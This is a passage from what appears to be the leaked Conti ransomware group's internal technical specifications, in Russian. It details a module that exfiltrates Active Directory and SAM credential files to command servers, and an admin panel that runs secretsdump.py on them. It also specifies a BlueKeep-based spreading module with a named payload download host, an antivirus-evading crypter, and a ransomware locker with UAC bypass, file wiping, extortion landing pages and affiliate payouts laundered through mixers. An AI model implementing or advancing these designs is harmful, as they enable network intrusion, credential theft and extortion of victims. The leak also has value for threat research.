Если отправка неудачна (не удалось соединиться; получен ответ, отличный от HTTP 200 OK; ответа не было вовсе),
делается пауза на некоторое время (задать константой времени компиляции), берется следующий случайный сервер,
и так до успеха.
После успешной отправки, модуль отправляет родительскому процессу событие WantRelease и засыпает в вечном цикле
while(1) Sleep(1000);
в ожидании, что родительский процесс завершит работу модуля.
КОНФИГИ
У модуля единственный конфиг с названием srvad.
Конфиг представляет из себя простой текст, с разделителем \r\n.
Одна строка - это один URL, на который следует отправлять данные.
Если не указан префикс протокола http или https, следует выделить из URL порт.
Если порт четный, работа по http, если нечетный - по https.
Для второй версии предусмотреть работу через адреса TOR.
Легковесная библиотека работы через TOR будет предоставлена.
ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ
Протокол передачи файлов удовлетворяет следующим требованиям:
- отсутствие пиковой нагрузки на интернет-канал
- возможность передачи файла по частям.
1) на сервер отправляется основная информация о компьютере через HTTP POST в контейнере multipart/form-data (аналогично обычной отправке html-формы).
POST содержит следующие поля:
timestamp - локальное UNIX-время
ip - поле ParentInfo.SelfIP (см. module_HOWTO)
ip1 - адрес первого сетевого интерфейса
ip2 - адрес второго сетевого интерфейса
...
ipN - адрес N-го сетевого интерфейса
cid - поле ParentInfo.ParentID (см. module_HOWTO)
group - поле ParentInfo.ParentGroup (см. module_HOWTO)
hostname - имя хоста, полученное через GetComputerName()
source - строка `ntds'
Отправка происходит на url вида:
http://foo.com/<junk>/<auth>/<junk>
junk - произвольные символы, допустимые в URI, кроме слеша /
auth - авторизующая секция. Предполагается, что тот кто отправляет запрос,
должен знать правила формирования этой секции.
Это - рандом любой длины.
В ней обязательны:
- буква Z в любой позиции
- сумма цифр (не чисел!) с 6 по 15-ю позицию должна быть 31.
Символы между ними - рандом. В частности там может находиться и Z.
Пример секции - abcde7ol7k9hi8mZ
2) далее отправляется каждый файл по частям, запросом HTTP POST, в контейнере multipart/form-data.
Файл передается в поле file.
Имя файла берется из тега Content-Disposition; имя временного файла из URI игнорируется.
При этом:
- отправка файла начинается с конца. К примеру, если файл длиной 100М, мы отправляем последние 10М файла.
- после отправки куска файла и получения подтверждения, файл усекается - остается только неотправленная часть, начиная с конца.
Это делается для того, чтобы простым образом сохранять состояние отправки, и минимизировать число файловых операций.
Усечь файл можно вызовом SetEndOfFile().
- перед отправкой, отправляемый кусок файла читается в память и сжимается алгоритмом gzip.
- отправка производится на URL вида
http://foo.com/<junk>/<auth>/<cid>/<filename>/<start>/<end>/<eof>
где
junk - произвольные символы, допустимые в URI, кроме слеша /
auth - авторизующая секция. Это - рандом любой длины, в котором обязательны
- буква S в любой позиции
- сумма цифр (не чисел!) с 8 по 15-ю позицию должна быть 25.
filename - имя временного файла;
start - начальное смещение передаваемого куска относительно начала файла; здесь допустимы и буквы, и цифры.
Но значащими являются только цифры, в порядке появления в строке.
Например, 0A -- это число 0 (цифра 0 значащая, буква A игнорируется).
end - конечное смещение передаваемого куска относительно начала файла; правила те же, что и для start.
Например, 3A5A2A3A9A5A9A - это 3523959.
eof - признак конца файла. Если признак есть, это последний кусок файла; и наоборот (секция необязательная)
Это рандом любой длины, в котором обязательны:
- первая цифра чётная или 0
- последняя буква A или F
Последний символ имени файла (до расширения) имеет следующее значение:
0 - ntds.dit
1 - sam.dump
2 - security.dump
3 - system.dump
При обработке ошибок, код HTTP-ответа 200 не говорит об успехе операции,
но код не-200 говорит о неуспехе операции (например, 50* или 40* от прокси).
Точный код операции содержится внутри XML в теле HTTP-ответа, внутри тега <response>.
При получении кода ответа вида 4041, добавочный символ 1 - это внутренний код ошибки сервера (включен только во время отладки).
Например, следующий ответ свидетельствует об ошибке с кодом 9:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 07 Oct 2019 13:08:44 GMT
Content-Type: application/xml; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept
<?xml version="1.0" encoding="UTF-8"?>
<response>4049</response>
Следующий ответ - ошибки нету, все ок
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 07 Oct 2019 13:08:44 GMT
Content-Type: application/xml; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept
<?xml version="1.0" encoding="UTF-8"?>
<response>200</response>
АДМИНКА
Использование получаемых данных будет производиться через админку.
Требования к оформлению минимальные - разумная простота.
Главный экран показывает список последних полученных данных в формате таблицы:
датавремя | ClientID| Group | IP | Hostname | Total Size
с пейджингом.
датавремя - для последнего приема по выбранному ClientID (см.ниже о группировке посылок).
Предусмотреть фильтрацию по полям:
- датавремя (диапазон от и до)
- ClientID
- Group
- IP
- Hostname
- Total Size (диапазон от и до)
Язык интерфейса - английский.
Все скрипты не должны содержать русских строк и переменных по-русски (var $issledovanie - плохо; var $research - хорошо).
В списке должна быть сортировка по полям заголовка.
Запись можно открыть на просмотр; запись можно удалить (после трех предупреждений "Вы уверены?" со всем большим шрифтом и все более красным цветом).
Кнопка удаления записи доступна только в открытой на просмотр записи.
Добавление и редактирование записей не предусмотрено.
В открытой записи должны быть перечислены файлы, содержащиеся в записи; каждый файл можно скачать.
В открытой записи должна быть кнопка "Анализ данных".
Пока проходит анализ, должен "крутиться" индикатор анализа (колесико часов или вроде того).
Анализ данных Active Directory происходит путем запуска двух скриптов:
sudo ./secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile result local
где ntds.dit и SYSTEM - это необработанные файлы из полученного от модулей архива
result - имя результирующего файла
Анализ локальных учетных записей:
secretsdump.py -sam sam.dump -security security.dump -system system.dump LOCAL
При этом, админка должна:
- выгрузить куда-нибудь во временную папку нужные скрипту файлы ntds.dit, sam.dump, security.dump, system.dump
(эти файлы и содержатся в записи)
- запустить скрипты, подсунув им пути к этим файлам
- прочитать stdout, stderr скриптов и выдать их во фрейме на странице
- добавить кнопку "Скачать результат анализа", чтобы скачать результат анализа, в виде .txt или .zip.
Для этого возможно придется кешировать результат анализа, либо сохранять его в записи.
***
Установка скрипта на Питоне примерно следующая:
pip
pip install impacket
pip install impacket --upgrade (if needed)
pip install pycrypto (--upgrade if needed)
pip install pyasn1 (if needed)
apt-get install python-dev (if needed)
API АДМИНКИ
Админка должна выставить API для получения данных от модулей:
POST /api/v1/hello HTTP/1.1
Этот запрос создает либо обновляет запись с метаданными от конкретного клиента. Данных файла в нем пока нет
(см. ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ).
POST /api/v1/savef/<cid>/<filename>/<start>/<end>/e
Этот запрос позволяет сохранить часть файла (см. ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ).
Все ответы 200 - ОК.
Все ответы не 200 - ошибка. Уточняющий текст ошибки на усмотрение разработчика API.
При создании хранилища данных исходить из того, что размер файлов может быть значителен (гигабайты в одной посылке).
Архив с данными всегда содержит одинаковый набор данных. Имена файлов могут уточняться, но в первом приближении это:
ntds.dit
sam.dump
security.dump
system.dump
При сохранении данных в БД/на диск нужно сохранять дату-время их прихода.
ВАЖНО!
Одну условную ЗАПИСЬ в БД формирует 4 (четыре!) файла.
За одну посылку можно передать только один файл (в лучшем случае).
Поэтому, при сохранении в БД, нужно группировать файлы к основной записи по ключу cid.
Учитывать, что передача гигабайтных пакетов может занимать несколько суток.
МОДИФИКАЦИЯ "ТЕМНОЙ" АДМИНКИ
Нужно так модифицировать "темную" админку, чтобы можно было просто запускать модули.
На экране с деталями бота (/log/1234) нужно добавить список кнопок с именами часто используемых модулей, например
injectDll
pwgrab
importDll
итд
Эти имена можно брать как из справочника известных модулей, так и жестко вшить в код (первое предпочтительно).
Для уже загруженных и работающих на боте модулей кнопка с его именем должна работать на выключение (т.е. нажатие на кнопку выгружает модуль).
Для не работающих модулей кнопка загружает модуль.
Т.к. реакция на загрузку модуля происходит в течение нескольких минут, нужно блокировать кнопку от нажатия, до получения реакции от бота.

85
Conti Documentation Leak/docs/modules/ТЗ доработка модуля распространения.txt

@ -0,0 +1,85 @@
МОДУЛЬ РАСПРОСТРАНЕНИЯ
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Доработать имеющийся модуль распространения по сети:
* Добавить универсальный интерфейс для добавления новых эксплойтов
* Определить используемый тип эксплойта и оформить его для работы через интерфейс
* Добавить эксплойт BlueKeep в модуль.
ОПИСАНИЕ МОДУЛЯ
Модуль сканирует локальную сеть и применяет на найденных машинах некий эксплойт - тип пока неизвестен.
Известно, что шелл-код скачивает нагрузку по адресу http://galamatics.com/jomangi1.png и http://galamatics.com/jomangi2.png
(вероятней всего через DownloadFromUrlA) и запускает ее. Организация шелл-кода неизвестна:
если он специфичный для эксплойта, там может быть ROP.
Если нет, то возможно там производится поиск нужных функций в таблице импорта и работа через них.
Сканирование производится по трем типам сетевого окружения:
- обычная рабочая группа Windows
- домен Windows
- LDAP
Модуль оформлен в соответствии с документом module_HOWTO.
ДОРАБОТКА
Все доработки должны проводиться в рамках документа module_HOWTO.
Код сканирования сети не требует доработки.
Доработки требует следующее:
1) Интерфейс работы с эксплойтами:
- у эксплойта должен быть основной метод Exploit(const char* hostname) (здесь может быть адрес машины или ее имя)
- код сканирования сети должен быть изолирован от кода эксплуатации
- модуль должен собираться как конструктор, из нужной комбинации сканера сети и варианта эксплойта, условной компиляцией.
Цель - переиспользовать код сканирования, для создания на его основе разных модулей.
Комбинация "каждый с каждым" не нужна (каждый эксплойт с каждым вариантом сканирования) - нету цели достичь полной вариативности.
Реализовать такой конструктор следует так:
- макросами в файле config.h выбирается, какой именно модуль мы собираем.
Этими же макросами отключаем неиспользуемый в данной сборке код.
Например, если используем эксплойт FOO, делаем
config.h:
#define FOO
#undef BAR
foo.cpp:
#include "config.h"
#ifdef FOO
...
code here
...
#endif
- Название выходного файла должно быть разным для разных вариаций
- Лучше всего использовать профили компиляции в Visual Studio для разных вариантов
В таком случае можно макросы препроцессора задавать непосредственно в настройках сборки для конкретного профиля проекта.
На каждый вариант создать свой профиль сборки.
2) В модуль следует добавить эксплойт BlueKeep в соответствии с интерфейсом работы с эксплойтами.
Информация по BlueKeep:
https://github.com/umarfarook882/CVE-2019-0708
https://github.com/n1xbyte/CVE-2019-0708
https://github.com/adalenv/CVE-2019-0708-Tool
https://github.com/gobysec/CVE-2019-0708
https://github.com/Ekultek/BlueKeep
https://github.com/robertdavidgraham/rdpscan
https://github.com/zerosum0x0/CVE-2019-0708
https://github.com/dothanthitiendiettiende/BlueKeep
https://github.com/Ekultek/BlueKeep/blob/master/bluekeep_poc.py
3) Дооформление модуля
- обфусцировать строки библиотекой Andrivet Advanced Obfuscator, применить шифрование из MetaString4.h
- обфусцировать системные вызовы через GetApi
- добавить следующие события:
+ Module wormDll build %date% %time% started - при старте модуля
+ Trying %sploit% on %hostname% (%addr%) - при применении эксплойта к хосту
- сделать логирование в файл в текущем каталоге. Имя лога такое же, как у запускаемого модуля, но с расширением .log
Использовать приложенную библиотеку логирования.
- логирование должно происходить только в профилях сборки Debug, Release_logged. В профиле Release_nologs логирование должно отключаться
(отключением макросов LOG_TO_FILE, LOG_TO_CONSOLE)

76
Conti Documentation Leak/docs/modules/ТЗ криптер.txt

@ -0,0 +1,76 @@
КРИПТЕР
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
Нужно написать криптер - программу, содержащую в себе нагрузку в виде ПРОИЗВОЛЬНЫХ .exe или .dll, маскирующую и запускающую ее.
Термин "Стаб" - это холостая оболочка криптера без нагрузки.
ТРЕБОВАНИЯ
1. Сборка в обе разрядности (32/64); нагрузка той же разрядности что и стаб.
2. Если нагрузка - .dll, она запускается БЕЗ CreateProcess. Путем развертывания в памяти текущего процесса, настройки reloc'ов, импорта/экспорта, и вызова точки входа.
3. Если нагрузка - .exe, запуск бесфайловой техникой. Предпочтительно ProcessHollowing.
При этом должна происходить подмена родительского процесса.
4. Стаб должен маскировать нагрузку:
4.1. Добавлять "левый" импорт, мимикрируя (например) под GUI-программу (в обилии вызовы из GDI), или COM-компонент
4.2. Содержать "шумовую" логику: отрисовка окон, вызов COM-объектов, итд. Логика, разумеется, отключена и никогда не срабатывает, но АВ должен думать, что вот-вот и мы закончим инициализацию и тогда
4.3. Можно добавлять ресурсы - левые изображения, текстовые строки итд.
4.4. Нагрузка зашифрована и/или сжата. Можно использовать простейшее XOR-шифрование с длинной гаммой. Алгоритм сжатия - самый легковесный в плане размера и простоты самого алгоритма.
4.5. Нагрузка имеет высокую энтропию, а основная логика - низкую. Следует равномерно распределить нагрузку по разным секциям (.text, .data, .rdata итд).
Таким образом нужно обойти детекты АВ по энтропии.
5. Выполнение требований "оформление кода и сборок"
6. Должны быть профили сборки как под LLVMO, так и под Microsoft C++.
7. Меры по обходу песочниц, задержки запуска нагрузки, на первом этапе опциональны.
На втором этапе они станут обязательными.
Режим использования криптера предполагает генерацию сотен файлов с разными хэшами в день.
У всех этих файлов должны быть РАЗНЫЕ шумовые строки, ресурсы, если получится - маскирующая логика.
То есть требуется высокий и АВТОМАТИЗИРОВАННЫЙ уровень полиморфизма.
То есть, всю эту рандомизацию предлагается внести в систему сборки (в виде событий сборки или билдера).
ОФОРМЛЕНИЕ СБОРКИ
Цель всех дальнейших действий - подключение автоматической сборки на билд-машине, с целью выдавать большой объем сборок без участия человека.
За счет объема процент брака на выходе будет иметь меньшее значение (можно будет выбрать 1 из 10 годный крипт).
8. Из сборки должны быть исключены ручные операции.
Все подготовительные, промежуточные и финальные шаги должны быть оформлены как События сборки (правым тапком на проекте в MSVS - События сборки).
Сюда относятся прошивки байт-массивов unsigned char payload[] = {..} из бинарных файлов, кодирование и упаковка нагрузки,
затирание строк в финальном бинарнике, задание имени для финального бинарника, и любые подобные манипуляции.
Билд должен собираться одним действием.
9. Должен иметься скрипт сборки. Например, build.bat (примерный вариант см. в приложении).
Так чтобы можно было сборку включить в автоматизированную систему сборки на билд-машине.
10. Под каждый тип нагрузки должен иметься профиль сборки. Например, Release_Dll_Payload1, Release_Exe_Payload1 для нагрузки 1,
Release_Dll_Payload2, Release_Exe_Payload2 для нагрузки 2 и так далее.
Профиль сборки позволяет задавать независимый набор макросов препроцессора.
Макросами препроцессора можно задать передачу параметров в нагрузку, способ ее развертывания, и прочее.
Подобный подход применяется для систем сборки наподобие CMake.
ПРИЛОЖЕНИЕ 1: СКРИПТ СБОРКИ
echo Build started %DATE% %TIME%
rem НАСТРАИВАЕМ ПУТИ ПОД СЕБЯ
rem ЛОКАЛЬНЫЕ ИЗМЕНЕНИЯ В ЭТОМ ФАЙЛЕ В GIT НЕ КОММИТИТЬ!
set msbuild="C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\Common7\IDE\devenv.exe"
set sln=D:\Projects\project\project.sln
set buildlog=project.log
rem type nul > %buildlog%
echo Build started %DATE% %TIME% > %buildlog%
:buildmain
set buildprofile="Release|Win32"
%msbuild% %sln% /Clean %buildprofile%
%msbuild% %sln% /Build %buildprofile% /Out %buildlog% || goto builderr
:over
echo Build finished successfully %DATE% %TIME%
echo Build finished successfully %DATE% %TIME% >> %buildlog%
exit(0)
:builderr
echo Build %buildprofile% failed %DATE% %TIME%
echo Build %buildprofile% failed %DATE% %TIME% >> %buildlog%
exit(1)

574
Conti Documentation Leak/docs/modules/ТЗ криптолокер.txt

@ -0,0 +1,574 @@
КРИПТОЛОКЕР И АДМИНКА
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Написать криптолокер и backend/админку к нему с учетом текущих рыночных реалий.
РОЛИ В СИСТЕМЕ
Есть следующие роли:
- админ (мы)
- адверт (партнер, регистрируется в нашей системе для заработка)
- жертва
- рекавери (посредник между жертвой и нами, играет за жертву)
БИЗНЕС-МОДЕЛЬ И ВЫПЛАТЫ
Все выплаты адвертам идут транзитом через наши кошельки.
Жертва платит на bitcoin-адрес, привязанный к кошельку владельца системы.
С этого кошелька деньги отправляются адвертам; в кошельке оседают наши комиссионные.
Таким образом, адверт НЕ КОНТРОЛИРУЕТ bitcoin-адреса, которые указываются на лендинг-страницах,
и НЕ МОЖЕТ указывать свои адреса И КОНТАКТЫ на лендинге.
Вообще, лендинг-страница должна проходить жесткий ценз системой.
Когда адверт создает новую цель, мы присваиваем цели один из своих bitcoin-адресов.
Этот адрес выбирается из пула адресов (привязанных к нашему кошельку), заданных в настройках системы.
Система отслеживает движение по назначенным адвертам адресам, и переправляет все входящие платежи минус комиссия по адверту
на адреса, указанные самими адвертами.
Такая схема требует повышенной безопасности при работе с мастер-кошельком. Доступ к нему должен иметь только владелец системы.
Примерно как на криптобиржах.
У рекавери-компаний особая роль в этом бизнесе, и она требует специфической поддержки в софте.
Рекавери как правило просят у нас скидку, выкупают анлокер, и продают его жертве по номинальной цене.
Их прибыль - эта скидка.
Потому для поддержки этих действий есть следующие функции:
- приватный чат и очистка истории чата
- команды в чате на скрытие анлокера и управление лендинг-страницей.
Смысл их в том, чтобы скрыть от жертвы факт доступности анлокера.
БОТ-ЛОКЕР
0. Бот должен пробивать свой IP по онлайн-базам гео-данных.
ПРИСУТСТВИЕ IP-АДРЕСА В ЗОНЕ СНГ ПРИВОДИТ К НЕМЕДЛЕННОМУ ПРЕКРАЩЕНИЮ РАБОТЫ И УДАЛЕНИЮ С ДИСКА!
Как получить свой внешний адрес см.п.7.
1. Бот должен обеспечить свою персистентность в системе (сохраняться между перезагрузками).
https://habr.com/ru/post/425177/
2. Бот должен получать максимально возможные привилегии в системе:
3. Бот должен обходить UAC:
https://github.com/hfiref0x/UACME
(рабочие методы где-то примерно с середины 30..)
Не пробовать на личной машине! может повредить ОС.
4. При установке в систему бот должен генерировать ID.
ID бота - это строка, состоящая из двух компонентов разделённых точкой.
Первая часть имеет формат %MACHINE%-%USER%_XYYYYYYY, где
MACHINE - имя компьютера
USER - имя юзера
X - символ обозначающий тип системы на которой работает клиент
(W - windows, L - linux, A - андроид, M - Mac OS),
YYYYYYY - 3-7 цифр содержащих major-version, minor-version и build операционной системы если таковые имеются у систем
(например, длЯ 6.1 build 7600 это будет 617600).
Вторая часть содержит 32 случайных символов 0-9, A-F.
Пример id клиента - HOSTNAME-USER_W617600.11223344556677889900AABBCCDDEEFF.
Параметр не чувствителен к регистру.
5. В боте захардкожено название его группы - строка из шести символов, первые три символа - латиница нижний регистр, остальное - цифры.
6. К боту должен прилагаться билдер, прошивающий в бота его группу и другие существенные параметры на этапе компоновки.
Задача билдера: прошить в бота изменяемые ресурсы, при этом не давая доступ к исходникам.
Предлагается следующая схема:
- билдеру на вход подаются .obj-файлы
- содержащий изменяемые ресурсы (группу итд) .obj-файл компилируется из исходника (либо обрабатывается некой утилитой)
7. Бот должен собирать следующую информацию об окружении:
- версия и билд ОС
- список сетевых интерфейсов с IP-адресами
- внешний IP-адрес
https://habr.com/ru/company/emercoin/blog/335458/
https://github.com/emercoin/emercoin/blob/master/src/stun.cpp
// список установленных программ
Эти данные передаются на командный сервер.
Бот получает адрес командного сервера через резолв домена Emercoin DNS.
8. После установки и закрепления в системе, бот начинает шифровать файлы в системе по следующему алгоритму:
8.1. Алгоритм шифрования - как вариант ChaCha или другой потоковый асимметричный шифр.
Требования к криптоалгоритму:
- потоковый (разработан для быстрой обработки потока)
- быстрый
- асимметричный (есть приватный и публичный ключи)
- есть открытая реализация на Си.
Не пытаемся самостоятельно реализовать криптоалгоритмы, берем только готовые варианты!
8.2. Программа шифрует файлы вшитым в нее публичным ключом.
После обработки файла, рядом создается файл с таким же именем и двойным расширением .txt.crypted,
содержащий лендинг-текст.
8.2.1. Учитываем, что расширение файла - это сигнатура №1 для антивирусов.
Возможно, нужно по максимуму использовать стандартные расширения (.txt) вместо нестандартных (.crypted, .crypt итд).
8.3. Программа работает в одном из двух режимов: быстрый или полный.
В быстром режиме шифруется только первый мегабайт файла. Это нужно, чтобы быстро накрыть систему.
В полном режиме шифруется весь файл.
8.4. Перед началом работы программа убивает процессы из списка, и останавливает сервисы из списка.
При ошибках, программа пытается повторить действие трижды с интервалом в 2 минуты.
Дальнешая работа не зависит от результата данного шага.
8.5. Программа сперва обрабатывает каталоги из особого "быстрого" списка - списка каталогов,
которые необходимо пройти первыми.
8.6. Программа НЕ ТРОГАЕТ файлы и каталоги из особого стоп-списка - списка файлов, которые нельзя трогать.
При этом сочетания быстрого списка и стоп-списка обрабатываются так:
8.6.1. Мы накрываем все пути из быстрого списка, не указанные в стоп-списке
8.6.2. Если в стоп-списке весь диск, на этом диске накрываем только пути из быстрого списка, не трогая остальной диск
8.6.3. Если стоп-список пуст, накрываем папки из быстрого списка первыми; остальные файлы потом.
8.7. Программа шифрует только файлы с расширениями из списка рабочих расширений; остальные игнорируются.
8.8. Программа удаляет файлы из особого списка, трижды перезаписывая их содержимое:
- первый раз константой 0
- второй раз константой FF
- третий раз случайным мусором
- на четвертый раз файл удаляется
8.9. Программа обрабатывает таким образом все диски.
Все ошибки при работе игнорируются.
Таким образом, есть следующие списки:
9. Список изменяемых настроек в программе:
9.1. Группа
9.2. Ключ шифрования
9.3. список процессов и сервисов
9.4. быстрый список
9.5. стоп-список
9.6. список рабочих расширений
9.7. список на удаление
9.8. текст лендинг-страницы
9.9. адрес командного сервера
Все эти данные (кроме 9.1, 9.9) программа пытается запросить с командного сервера по сети ТОР, десять попыток, интервал 1 минута.
При неудаче программа использует зашитые в нее значения, периодически возобновляя попытки обновить настройки.
API BACKEND'A
POST /HELLO HTTP/1.1
Запрос выполняется при старте программы (как первоначальном, так и повторном после перезагрузки).
Содержимое тела HTTP-запроса - контейнер application/x-www-form-urlencoded со следующими полями:
cid - ID клиента
group - группа клиента
ip1 - адрес первого сетевого интерфейса
ip2 - адрес второго сетевого интерфейса
...
ipN - внешний IP-адрес
Если в ответ на это бот получает ответ код 406 и ответ Not allowed, бот немедленно прекращает работу и удаляется с диска.
В свою очередь, backend должен выдать этот код и ответ, если обнаружит, что любой из предоставленных в запросе IP-адресов
находится в зоне СНГ.
GET /<cid>/<group>/<setting> HTTP/1.1
Запрос настройки. Здесь
<cid> - ID клиента
<group> - группа клиента
<setting> - настройка, енум из
key (публичный ключ шифрования)
services (список процессов и сервисов - разделяемый точкой с запятой. Если в поле есть подстрока .exe - это имя процесса. Если нет - это имя сервиса.)
priority (быстрый список)
stoplist (стоп-список)
ext (список расширений)
wipe (список на удаление)
landing (лендинг-страница)
Формат списков - разделяемый точкой с запятой.
Лендинг-страница отдается как есть, кодировка UTF8.
Ключ - удобный для работы через WinCrypt формат (если необходимо, обернутый base64).
POST /<cid>/<group>/stat
Отправка статистики
Содержимое тела HTTP-запроса - контейнер application/x-www-form-urlencoded со следующими полями:
total - всего файлов обработано
crypted - всего файлов зашифровано
wiped - всего файлов удалено
ignored - всего файлов пропущено
Статистика отправляется каждые 15 минут, время задается константой в программе.
ЛЕНДИНГ-СТРАНИЦА
Всего лендинг-страниц две:
- на компьютере
- в Интернете.
На компьютере рядом с зашифрованным файлом лежит текстовый файл с таким же названием и другим расширением.
В этом файле должна быть простая ссылка на страничку в .onion-домене и инструкции как скачать тор-броузер.
Пока что примем, что путь к лендинг-странице - это базовый .onion домен плюс путь, равный md5(ID бота).
Это просто, и не дает перебором подобрать страницы других целей.
Если в свойствах цели был указан тор-домен, то страница должна открываться также на этом домене.
Автоматическое управление тор-доменами - отдельная тема.
Можно заготовить их 100500 штук и назначать из заготовок.
К лендинг-странице предъявляется жесткое требование по запрету прямого контакта с жертвой, кроме как через наш чат:
- все, что хоть немного похоже на bitcoin-адрес, должно жесточайше отвергаться при загрузке текста страниц в админку,
и удаляться при сохранении текста страницы.
- вместо этого, адрес для выплат должен заменяться макросом. Ну скажем, %PAYMENT_ADDRESS%
- в текст не должны попасть контакты адверта (емайл, jabber и все возможные телефоны, мессенджеры, IRC итд).
При обновлении текста страницы в админке нужно автоматически проверять и отклонять страницы с попытками
прописать на них контакты и кошельки.
Вероятно, можно также сделать некую пред-модерацию, с одобрением изменений на страницах нашими операторами системы.
Вообще, можно сделать кастомную лендинг-страницу только для продвинутых пользователей, а для большинства
сделать типовые тексты, с подстановкой основных данных из макросов.
Макросы:
%PAYMENT_ADDRESS% - bitcoin-кошелек для выплаты (берется из профиля цели)
%DOUBLE_DATE% - дата удвоения выплаты
%LANDING_URL% - ссылка для лендинг-файла - базовый URL, к которому бот сам приклеит свой ид, чтобы получить полную ссылку на лендинг-страницу в интернете
Внешний вид страниц примерно следующий (образцы конкурентов):
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/837F964AF6B77803#info
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F32917DB2AA982C9#info
Не плагиатить! творчески обработать.
Смысл должен сохраниться:
- должна быть инфа о том, как купить битки, список сайтов и бирж
- вход в чат
- форма для тестовой расшифровки файла.
Тестовой расшифровкой файла можно воспользоваться только один раз и только для файлов изображений,
т.к. они как правило не несут важной инфы.
При отдаче расшированного результата, нужно проверять содержимое файла по сигнатурам.
Если сигнатура ни одного из разрешенных типов не совпадает, содержимое не отдавать и писать атата.
Разрешенные типы: jpg, png, gif, bmp.
Страница меняет свой вид в зависимости от состояния цели:
- если цель не заплатила и очередной срок выплаты не истек, страница имеет обычный вид
- если цель не заплатила и очередной срок выплаты истек, на странице предупреждение и новая сумма (удваивается каждый период)
- если цель заплатила, доступен линк на скачивание анлокера.
ВАЖНО: сумма к выплате на лендинг-странице ВСЕГДА отображается без учета скидки!
ВАЖНО: видимость линка на анлокер ВСЕГДА управляется соотв.флагом из свойств цели (см.ниже - у цели есть отдельный флаг
"анлокер доступен"), А НЕ ФЛАГОМ ОПЛАТЫ!
ВАЖНО: вид лендинг-страниц может управляться командами из чата после ФИКСАЦИИ ФАКТА ОПЛАТЫ на наш bitcoin-адрес
(нужно именно наличие транзакции с нужной суммой на назначенный нами адрес из профиля цели).
Меняться могут две вещи:
- переключение страницы между видом "не оплачено" и "оплачено" и соотв. доступность линка на анлокер
- bitcoin-адрес для выплаты.
Все эти действия делает рекавери, только после того как заплатил нам и мы это зафиксировали.
ДО ОПЛАТЫ эти действия НЕДОСТУПНЫ!
АДМИНКА
В админке (под админкой мы понимаем не только доступную администраторам часть системы, но и веб-приложение вообще) есть несколько ролей:
- админ - видит все, создает любые учетные записи
- адверт - видит только свои данные, не видит данные соседнего адверта, видит чаты по своим ботам и целям.
- жертва - видит только свой чат
РАЗДЕЛ АДМИНИСТРАТОРА
Здесь описан список страниц, видимых только админу (название страницы и список свойств или инфы на ней):
* Dashboard со статистикой:
- всего адвертов
- всего ботов
- активных за последние сутки ботов
- всего выплат
* Настройки системы
- список (пул) свободных bitcoin-адресов, которые можно назначать целям адверта.
Доступны для изменения только те из них, которые еще не были назначены целям адверта.
Эта страничка будет доступна только на чтение в варианте реализации с автоматическим клирингом (см.ниже)
* Управление учетными записями (профили адвертов)
На этой странице список адвертов (учеток) со следующими столбцами таблицы:
- имя
- комиссия (в процентах)
- (за/раз)блокировать адверта
- редактировать адверта
А также кнопка
- создать нового адверта
Блокировка учетки предполагает, что адверт больше не сможет заходить в свою учетку.
Все выплаты на его кошелек приостанавливаются.
При создании нового адверта, ему присваивается системой ПРОКСИ bitcoin-адрес, на который идут выплаты от жертв.
Этот адрес самому адверту никак не виден.
В редактировании профиля адверта, можно изменить поля:
- имя
- комиссия
- личный bitcoin-адрес адверта (ЭТО НЕ ТОТ АДРЕС, который назначем цели МЫ!)
Это ВТОРОЙ адрес, который доступен для редактирования и админу, и самому адверту.
Назначение адресов см. в разделе "ВЫПЛАТЫ".
- вывод через миксер
- bitcoin-адрес миксера
- время миксирования
- комиссия миксирования
Данные поля требуют уточнения - зависит от того, какие возможности предоставляет API bitmix.
Возможно, время и комиссия миксирования не управляются с нашей стороны, а назначаются миксером автоматически.
По каждому адверту также должна быть видна расширенная статистика
- всего прибыли
- всего ботов
Эта стата не должна генерироваться при открытии страницы, а должна подгружаться по отдельной кнопке/линку
(так делаем потому, что стата скорей всего делает тяжелые запросы к БД).
РАЗДЕЛ АДВЕРТА
Здесь описан список страниц, видимых адверту.
* Цели
В списке видны следующие поля:
- название
- группа
- число ботов
- время активности последнего бота
- редактировать
- список ботов (открывается отдельная страница, см.ниже)
- удалить/в архив.
Также вверху страницы кнопка "Добавить".
Удалить можно только цель, по которой отстучало 0 ботов.
Цель, по которой были отстуки (т.е. в БД есть инфа о ботах с указанной группой) можно только отправить в архив.
Архив - это отдельный раздел с целями, в которых все то же самое и только на просмотр.
При создании/редактировании цели есть следующие поля:
** общие
- название
- краткое название группы, валидируемое по следующему правилу:
строка из 6 символов, первые три - латиница в нижнем регистре, остальные - цифры.
Группа является уникальным полем, и является идентификатором цели в системе. Поле "название" используется внутри админки
для удобства отображения; поле "группа" используется в разного рода запросах и взаимодействиях частей системы между собой.
- статус: оплатил/не оплатил (выставляется как вручную, так и автоматически скриптами оплаты)
Если была оплата, нужно вывести список платежей из сети bitcoin со ссылками на транзакцию
в любом блокчейн-эксплорере.
Т.е. оператор должен знать, был ли факт оплаты, либо же флаг оплаты поставлен вручную.
- ник для чата (по умолчанию operator)
** платежное
- bitcoin-адрес для выплаты (личный)
- bitcoin-адрес рекавери (необязательно); его назначение - см.раздел ЧАТЫ
- сумма выплаты
- крайний срок выплаты, после чего стартует удвоение (отсюда и далее поля необязательные)
- интервал удвоения выплат, в днях
- доступная скидка (для рекавери-компаний), в процентах (по умолчанию отсутствует, т.е. значение 0)
По умолчанию выключена. См.также в разделе "ЧАТЫ" про отключение этой опции из чата.
** лендинг
- тор-домен (необязательно)
- лендинг-текст на сайте (возможно это сделать доп.опцией, а по умолчанию использовать типовой текст)
- лендинг-текст в файле
- "анлокер доступен" - флаг (чекбокс), доступен ли для скачивания анлокер на лендинг-странице
